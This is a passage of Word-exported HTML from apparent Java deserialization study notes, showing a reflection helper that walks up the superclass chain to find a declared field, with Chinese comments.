                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/**</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">循环向上转型,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">获取对象的</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> DeclaredField</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span>* @</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">param filedName</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">@</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*/</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">static</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Field</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getDeclaredField</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> filedName</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  

                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">for</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> superClass </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getClass</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> superClass </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">!=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> superClass </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> superClass</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getSuperclass</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">())</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> superClass</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getDeclaredField</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">filedName</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">catch</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">NoSuchFieldException</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> e</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">//Field 不在当前类定义, 继续向上转型</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">return</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">null</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  

                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">/**</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">直接调用对象方法,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Cambria;">而忽略修饰符(</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">private</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> protected</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="font-family:Cambria;">                  </span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">     </span></span></span></span><span style="mso-bookmark:java反序列化笔记;"><span style="mso-bookmark:java字节码;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">*</span></span></span><span 